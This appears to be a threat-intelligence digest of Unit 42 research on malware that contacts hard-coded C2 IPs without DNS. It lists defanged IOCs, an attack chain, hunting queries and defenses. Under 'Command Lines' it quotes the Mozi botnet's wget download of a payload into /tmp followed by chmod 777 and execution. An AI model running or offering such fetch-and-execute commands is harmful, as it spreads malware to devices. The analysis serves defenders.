13 minhigh
Almost Half of Malware Samples Communicate Direct to IP
Unit 42 analysis of 4 million dynamic analysis reports reveals that 45.32% of malware samples with C2 activity communicate directly to hard-coded IP addresses without DNS resolution, rendering DNS-based security controls ineffective. The article introduces ZT-IP (Zero Trust IP), a network-level enforcement approach that blocks outbound connections to IPs not previously sanctioned by a DNS response. Multiple active threats are documented including Phorpiex ransomware droppers, a custom \GET exfiltration campaign, SectopRAT credential harvesting, and Mozi/Boatnet IoT botnets — all leveraging D2IP communication to evade detection.
Sens:▲ 24hConf:
Showing defanged values
- ip103[.]245[.]236[.]146Malicious destination IP identified in D2IP analysis
- ip154[.]92[.]19[.]71Hard-coded WebSocket C2 address (wss://154.92.19.71:39989) embedded as Unicode string in a backdoor binary; no DNS query made before connection
- ip178[.]16[.]54[.]109Phorpiex C2 server hosting staged ransomware payloads via D2IP HTTP GET requests; no DNS query precedes connections
- ip178[.]16[.]54[.]31Malicious destination IP identified in D2IP analysis, related to Phorpiex infrastructure
- ip18[.]228[.]188[.]56\GET exfiltration campaign C2 hosted on Brazilian cloud infrastructure; receives obfuscated \GET requests with 250-666 character encoded payloads
- ip194[.]76[.]227[.]94SectopRAT C2 server operated by a second actor targeting educational institutions with the same in-browser proxy capability
- ip206[.]189[.]229[.]43Malicious destination IP identified in D2IP analysis
- ip2[.]26[.]98[.]67Boatnet Mirai variant distribution server hosting binaries under /hiddenbin/ directory targeting 14+ architectures including legacy m68k ICS hardware
- ip62[.]60[.]179[.]230Malicious destination IP identified in D2IP analysis
- ip87[.]120[.]107[.]33SectopRAT C2 server (port 9000) used by one actor targeting educational institutions; hosts /churl and /fsave proxy endpoints for browser traffic mirroring and credential theft
- ip91[.]92[.]243[.]29Malicious destination IP identified in D2IP analysis
- sha25601a96eeafb72042b3f69afd21b4c9155dbfe7f97ab3dca392972ad531a075ac2Malware sample identified in IOC list associated with D2IP threats
- sha2569639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4Malware sample associated with D2IP threats
- sha256bf24277400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205aa0241Malware sample associated with D2IP threats
- sha256cc43cdbe8eb9874f55fffbe23b560b673eb9f31fb9a953926bba29464fd2dd07Malware sample associated with \GET exfiltration campaign; disassembly confirmed hard-coded encoded strings matching observed payload structure
- sha256e310476c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea7599e6e5Malware sample associated with D2IP threats
- sha256e3513922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff9070bc85Malware sample associated with D2IP threats
- sha256e5715e6611ef6bcb233f5d2098510dab3db408abbb728b00e1821bb255829373Malware sample associated with D2IP threats
- urlhxxp://178[.]16[.]54[.]109/new[.]phpPhorpiex payload download path on C2 server
- urlhxxp://178[.]16[.]54[.]109/sex/k/n[.]txtPhorpiex configuration or payload path on C2 server
- urlhxxp://178[.]16[.]54[.]109/st[.]exePhorpiex binary download URL retrieved via D2IP HTTP GET without DNS resolution
Detection / Hunteropenrouter
What Happened
Security researchers at Palo Alto Networks analyzed 4 million malware samples and found that nearly half of malware that contacts command-and-control servers does so by connecting directly to numeric IP addresses, completely skipping the normal DNS lookup step that most security tools monitor. This means standard DNS filtering and blocking tools cannot see or stop these connections. The researchers identified several active threats using this technique, including ransomware droppers, data theft campaigns, and botnets targeting internet-connected devices and even legacy industrial equipment. They propose a new defense called Zero Trust IP (ZT-IP), which blocks any outbound connection to an IP address that was not first resolved through a legitimate DNS query. Organizations should evaluate whether their current network defenses account for this DNS bypass technique, particularly for IoT and operational technology environments where endpoint security agents may not be installed.
Key Takeaways
- 45.32% of malware samples with C2 activity communicate directly to hard-coded IP addresses, bypassing DNS entirely and evading DNS-based security controls.
- ZT-IP (Zero Trust IP) enforcement approach flags outbound connections to IPs that were never resolved via a prior DNS query, closing the DNS visibility gap.
- Phorpiex ransomware dropper uses D2IP HTTP GET requests to 178.16.54.109 for staged payload delivery without any preceding DNS query.
- A persistent exfiltration campaign uses a custom obfuscated \GET HTTP protocol with encoded payloads (250-666 chars) hosted on cloud infrastructure in Brazil, rotating ports and IPs to evade static blocking.
- SectopRAT deployed against educational institutions uses in-browser proxy endpoints /churl and /fsave to mirror victim browser traffic and harvest credentials in real time over D2IP connections.
Affected Systems
- IoT devices with MIPS, ARM, and x86 architectures
- Legacy industrial control systems using m68k (Motorola 68000) processors
- Windows endpoints targeted by Phorpiex and SectopRAT
- Government, airline, and university networks targeted by \GET exfiltration campaign
- Educational institutions targeted by SectopRAT actors
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Malware binary contains hard-coded IP addresses (no DNS dependency) for C2 communication, bypassing DNS-based security controls entirely
- C2 Communication: Malware initiates direct-to-IP (D2IP) connections using TCP (94.43% prevalence) or UDP (17.50%) to hard-coded C2 IPs without preceding DNS queries
- Payload Delivery: C2 server serves staged payloads via HTTP GET requests to raw IP addresses (e.g., Phorpiex fetching /st.exe from 178.16.54.109)
- Data Exfiltration: Custom \GET protocol sends encoded payloads (250-666 chars) to cloud-hosted C2 with rotating IPs and ports; SectopRAT uses /churl and /fsave endpoints to mirror browser traffic and steal credentials
- Propagation: IoT botnets (Mozi, Boatnet) spread via D2IP exploitation payloads, downloading binaries to /tmp and executing with architecture-specific parameters across 14+ CPU architectures
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: Palo Alto Networks Advanced WildFire, Advanced URL Filtering, Advanced DNS Security, Cortex XDR, XSIAM
No explicit detection rules are provided in the article. Palo Alto Networks states that Advanced WildFire ML models and Cortex XDR/XSIAM Malware Prevention Engine have been updated with the IOCs from this research. The ZT-IP enforcement concept is described as a methodology rather than a deployable rule.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | EDR can detect process execution, file drops, and command-line activity (e.g., wget downloads to /tmp, chmod execution) on managed endpoints. However, IoT/OT devices and legacy ICS hardware targeted by Mozi and Boatnet typically lack EDR agents, and D2IP network connections may not be fully visible from endpoint telemetry alone. |
| Network Visibility | High | Network-level monitoring (firewall logs, NetFlow, full packet capture) is the primary detection surface for D2IP traffic. The ZT-IP approach requires network-level DNS response tracking and firewall enforcement. Proxy and NGFW logs can capture HTTP GET requests to raw IPs and non-standard \GET protocol traffic. |
| Detection Difficulty | Hard | D2IP traffic is inherently difficult to distinguish from legitimate direct-IP connections without a DNS-sanctioned IP tracking system like ZT-IP. The \GET protocol uses custom encoding that bypasses standard HTTP inspection. SectopRAT and Phorpiex request bodies appear benign. IoT/OT environments lack endpoint telemetry. Rotating IPs and ports in the \GET campaign defeat static blocking. |
Required Log Sources
- Firewall connection logs (source/destination IP, port, protocol)
- DNS query and response logs
- Proxy logs (HTTP request methods, URLs, User-Agent strings)
- NetFlow/IPFIX records
- EDR process execution and file creation logs
- Network IDS/IPS alerts
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for outbound HTTP/HTTPS connections to destination IP addresses where no corresponding DNS query was observed in the preceding time window for that source host. | DNS query/response logs correlated with firewall connection logs or proxy logs by source IP and timestamp | Command and Control | Medium — legitimate services, CDNs, and some applications connect directly to IPs by design; requires allowlisting for known benign direct-IP protocols |
| Consider hunting for HTTP requests beginning with the non-standard \GET method (backslash-GET) followed by long encoded strings, which may indicate the obfuscated exfiltration campaign. | Full packet capture, proxy logs, or IDS signatures capable of inspecting raw HTTP request methods | Exfiltration | Low — \GET is not a standard HTTP method and is unlikely to appear in benign traffic |
| Consider hunting for HTTP GET requests to raw IP addresses with sequential numeric paths (e.g., /1 through /6) or paths like /new.php and /sex/k/n.txt, which may indicate Phorpiex staged payload delivery. | Proxy logs or firewall HTTP logs showing full URL paths to destination IPs | Command and Control | Low — sequential numeric GET paths to raw IPs are atypical for legitimate services |
| Consider hunting for HTTP requests to /churl and /fsave endpoints on non-standard ports, which may indicate SectopRAT in-browser proxy activity and credential harvesting. | Proxy logs, IDS alerts, or full packet capture showing HTTP request paths and parameters | Collection / Exfiltration | Low — these endpoint paths are specific to SectopRAT and unlikely in legitimate applications |
| Consider hunting for wget downloads to /tmp/ followed by chmod 777 and execution on IoT/embedded devices, which may indicate Mozi or Boatnet propagation. | Network flow logs showing HTTP downloads from P2P peers, EDR on Linux endpoints, or IoT network segment monitoring | Execution / Propagation | Medium — legitimate administrative scripts may use similar patterns; correlate with D2IP connections and known botnet ports |
Control Gaps
- DNS-based security controls (DNS filtering, sinkholing, DNS anomaly detection) cannot see D2IP traffic by definition
- Static IP blocking is ineffective against \GET campaign due to rotating IPs and ports on shared cloud infrastructure
- IoT and OT devices lacking endpoint agents have no EDR visibility for process execution or file drops
- Standard HTTP inspection may miss \GET protocol requests if the inspector expects standard HTTP methods only
- Request bodies for Phorpiex and SectopRAT appear benign and bypass heuristic content inspection
Key Behavioral Indicators
- Outbound TCP/UDP connections to IP addresses with no preceding DNS query from the same source host
- HTTP GET requests to raw IP addresses with sequential numeric paths (/1 through /6)
- Non-standard HTTP method \GET (backslash-GET) followed by 250-666 character encoded strings
- HTTP requests to /churl and /fsave endpoints containing pcid/clid parameters on non-standard ports
- User-Agent string Wget/1.13.4 (linux-gnu) combined with HTTP Range headers and /hiddenbin/ URI paths
- wget downloads to /tmp/ followed by chmod 777 execution on embedded/IoT network segments
- WebSocket connections (wss://) to raw IP addresses without prior DNS resolution
False Positive Assessment
Medium — Several legitimate network protocols and services connect directly to IP addresses by design (VoIP, P2P, certain IoT services, CDNs). ZT-IP enforcement requires careful allowlisting of private intranet IPs, trusted protocols, and well-known benign public IPs. The \GET method and specific URL paths (/churl, /fsave, /hiddenbin/) have low false positive risk, but generic D2IP detection without proper allowlisting will generate significant noise.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking the identified malicious IP addresses at your firewall or proxy if they are not used by legitimate services in your environment.
- Consider evaluating whether your DNS logging captures all recursive DNS responses so you can correlate outbound IP connections against resolved domains — this is the foundation of ZT-IP enforcement.
- If your firewall supports it, consider implementing a policy that blocks outbound connections to IP addresses that have not been recently resolved via DNS from the same source host, with allowlists for known legitimate direct-IP protocols.
- Consider hunting in your proxy and firewall logs for the specific IOCs (IPs, URL paths, User-Agent strings, \GET method) identified in this article.
Infrastructure Hardening
- Consider implementing ZT-IP or equivalent no-DNS detection at the network firewall level to flag and block outbound connections to IPs without prior DNS sanction.
- Evaluate whether your network segmentation isolates IoT and OT device segments from general corporate networks, limiting the spread of D2IP-propagating botnets like Mozi and Boatnet.
- If applicable, consider deploying network-level monitoring on IoT/OT segments where endpoint agents cannot be installed, focusing on D2IP connection detection.
- Consider reviewing cloud egress policies to detect and block rotating-IP C2 traffic on shared cloud infrastructure, as static IP blocking is insufficient for the \GET campaign.
User Protection
- Consider deploying browser security extensions or proxy policies that can detect and block credential exfiltration via non-standard HTTP endpoints like /fsave.
- If your EDR supports it, consider enabling behavioral threat protection rules that flag processes making direct IP connections without DNS resolution.
- Evaluate whether single sign-on (SSO) tokens and session cookies in your environment could be intercepted by in-browser proxy RATs like SectopRAT, and consider session binding or short-lived tokens as mitigations.
Security Awareness
- Consider incorporating awareness of direct-to-IP malware communication into existing security training for network defense teams, emphasizing that DNS monitoring alone is insufficient.
- If applicable, consider briefing IoT/OT asset owners on the risk of D2IP-propagating botnets targeting legacy architectures (m68k, ARM variants) and the importance of network-level controls.
- Consider sharing the ZT-IP concept with network engineering teams to evaluate feasibility of implementing DNS-sanctioned IP enforcement at the firewall level.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping9 techniques
Tactic
Execution
Tactic
Stealth
Tactic
Command and Control
Tactic
Exfiltration
Tactic
Impact
Additional IOCs
- Ips:
62[.]60[.]179[.]230- Malicious destination IP identified in D2IP analysis91[.]92[.]243[.]29- Malicious destination IP identified in D2IP analysis103[.]245[.]236[.]146- Malicious destination IP identified in D2IP analysis178[.]16[.]54[.]31- Malicious destination IP identified in D2IP analysis, related to Phorpiex infrastructure206[.]189[.]229[.]43- Malicious destination IP identified in D2IP analysis
- Urls:
hxxp://178[.]16[.]54[.]109/st.exe- Phorpiex binary download URL retrieved via D2IP HTTP GET without DNS resolutionhxxp://178[.]16[.]54[.]109/sex/k/n.txt- Phorpiex configuration or payload path on C2 serverhxxp://178[.]16[.]54[.]109/new.php- Phorpiex payload download path on C2 server
- File Hashes:
9639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4(SHA256) - Malware sample associated with D2IP threatsbf24277400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205aa0241(SHA256) - Malware sample associated with D2IP threatse310476c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea7599e6e5(SHA256) - Malware sample associated with D2IP threatse3513922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff9070bc85(SHA256) - Malware sample associated with D2IP threatse5715e6611ef6bcb233f5d2098510dab3db408abbb728b00e1821bb255829373(SHA256) - Malware sample associated with D2IP threats
- File Paths:
/tmp/Mozi.m- Mozi botnet payload dropped to /tmp on IoT devices during propagation/hiddenbin/boatnet.sh4- Boatnet binary hosted on distribution server under /hiddenbin/ directory targeting SH4 architecture
- Command Lines:
- Purpose: Download Mozi payload via wget from P2P peer to /tmp directory | Tools:
wget| Stage: Execution / Payload Delivery |wget http://<ip>:<port>/Mozi.m -O -> /tmp/Mozi.m - Purpose: Set executable permissions on downloaded Mozi payload | Tools:
chmod| Stage: Execution |chmod 777 /tmp/Mozi.m - Purpose: Execute Mozi payload with architecture-specific parameter | Tools: N/A | Stage: Execution |
/tmp/Mozi.m <arch>
- Purpose: Download Mozi payload via wget from P2P peer to /tmp directory | Tools:
- Other:
Wget/1.13.4 (linux-gnu)- Boatnet User-Agent string used when fetching payloads; indicates targeting of older unpatched hardware running 2012-era wget\GET- Custom obfuscated HTTP request format used by exfiltration campaign; begins with backslash-GET followed by 250-666 character encoded string instead of standard HTTP GET
